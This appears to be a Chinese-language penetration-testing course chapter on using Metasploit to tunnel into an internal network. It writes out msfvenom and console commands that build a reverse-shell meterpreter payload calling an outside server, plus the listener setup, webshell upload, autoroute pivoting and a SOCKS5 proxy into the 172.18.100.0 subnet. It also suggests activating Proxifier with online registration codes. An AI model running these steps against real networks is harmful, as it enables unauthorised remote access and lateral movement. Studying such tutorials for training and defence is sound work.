跳转至

隧道穿透

内容简介

本小节主要讲解了 Metasploit 的工具的基本使用,以及使用 Metasploit 来建立一个和内网的隧道,关于 Metasploit 我们在课程的 MSF 专题已经给大家做了详细教程。

为什么需要 MSF

肯定有学员会有疑问,我们通过前文章节,已经可以通过 webshell 来执行命令了,为什么还需要使用 MSF 呢?这是因为目前已有的 webshell 虽然可以执行命令,但是不方面我们代理出来,我们需要建立一个 socks 隧道直通内网,这样可以更灵活的进行一些安全测试。

当然建立隧道方式有很多,有基于 web 的 PHP 的隧道,也可以直接使用 MSF 这种工具来建立隧道,关于隧道建立我们在隧道技术章节已经做了详细的介绍,感兴趣的学员可以再去对应章节观看。

生成木马

我们使用常用的 reverse_tcp 反向 shell 的 payload 来生成木马,反向 shell 很适合这种可以出外网的网络情况。

方法一:msfvenom

msfvenom 是 Metasploit 工具包里面的一个工具,专门用于木马生成和 payload 混淆等,我们直接生成一个连接外网服务 7777 端口的 shell 文件:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<外网服务器地址> LPORT=7777 -f elf > gg_shell.elf

方法二:generate

msf6 > use payload/linux/x64/meterpreter_reverse_tcp
msf6 > set LHOST <外网服务器地址>
msf6 > set LPORT 7777

然后直接在 msfconsole 控制台里面使用 generate 生成 shell 木马文件:

msf6 payload(linux/x64/meterpreter_reverse_tcp) > generate -f elf -o gg_shell.elf
[*] Writing 208384 bytes to gg_shell.elf...

image-20231126181402758

监听会话

这里监听的细节是 set LHOST 0.0.0.0 表示监听本地所有的 IPv4 地址:

msf6 > use exploits/multi/handler
msf6 > set payload linux/x64/meterpreter_reverse_tcp
msf6 > set LHOST 0.0.0.0
msf6 > set LPORT 7777
msf6 > run

接着通过蚁剑上传我们的 gg_shell.elf 文件:

image-20231126181952950

然后执行,我们的 MSF 即可上线:

image-20231126192831082

信息收集

通过 route 命令以及 arp -a 命令大概可以判断目前的内网的网段为 172.18.100.1/24,然后使用 background 命令临时将我们当前的 meterpreter 的 Session 会话隐藏到后台:

image-20231126193419657

添加路由

再次确认一下当前网段的情况:

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.18.100.0/255.255.255.0
Local subnet: fa82::/ffff:ffff:ffff:ffff::
Local subnet: ::/::

看一下当前 MSF 的路由,发现是空的,此时我们的 MSF 不知道如何去访问到 172.18.100.0 网段:

# 早期的命令
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] No routes have been added yet

# MSF 官方逐步建议使用下面的命令
meterpreter > run post/multi/manage/autoroute cmd=print

使用 post/multi/manage/autoroute 模块自动取添加一个路由:

meterpreter > run post/multi/manage/autoroute

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: linux
[*] Running module against 172.18.100.10
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.18.100.0/255.255.255.0 from host's routing table.

然后查看一下,且自动将路由的网关关联到我们的 Session 4 会话:

meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   172.18.100.0       255.255.255.0      Session 4

手动添加路由的方法

如果自己清除路由和子网掩码的话,也可以使用下面方法来手动添加路由,上述自动添加路由其实就等同于下面的命令:

meterpreter > run post/multi/manage/autoroute cmd=add subnet=172.18.100.0

建立隧道

我们使用 auxiliary/server/socks_proxy 模块来创建一个 MSF 和 172 内网的 Socks5 隧道,这样建好的隧道可以给浏览器这类的应用使用了:

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run

[*] Auxiliary module running as background job 0
[*] Starting the SOCKS proxy server

此时我们的浏览器使用经典的 SwitchyOmega 插件手动添加一个 Socks5 代理即可,这里的 10.100.1.226 就是我们的 MSF 的 IP 地址,1080 即我们设置的 Socks5 代理端口,可以看到此时浏览器选择这个代理的话,已经可以正常访问到我们的 172.18.100.0 网段的内网资产了:

image-20231126194933652

全局代理

一般情况下浏览器使用 SwitchyOmega 插件即可让我们的浏览器直接通过代理访问内网资产,但是如果其他的应用想要访问的话就比较麻烦了,所以需要一个专门代理应用的工具,

  • Windows 或者 macOS 环境下推荐使用 proxifier 或者 SocksCap
  • Linux 或者 macOS 下推荐使用 proxychains4

我们文章这里就使用主流老牌的 proxifier 来延时,这个工具可以下官方正版,然后使用网上的注册码即可激活。

image-20231126195753217

手动添加一个 MSF 的 1080 端口的 Socks5 代理:

image-20231126195844009

然后手动创建一个规则,任意应用只要是请求 172 开头的 IP 地址的话,就通过我们 Socks5 代理去请求,可以看到已经让我们的 CMD 命令行成功走了 Socks5 代理隧道去请求内网了:

image-20231126201353380

此时哪怕我们的浏览器使用的是直接代理的话,也是会自动走隧道去请求 172 内网的:

image-20231126201514938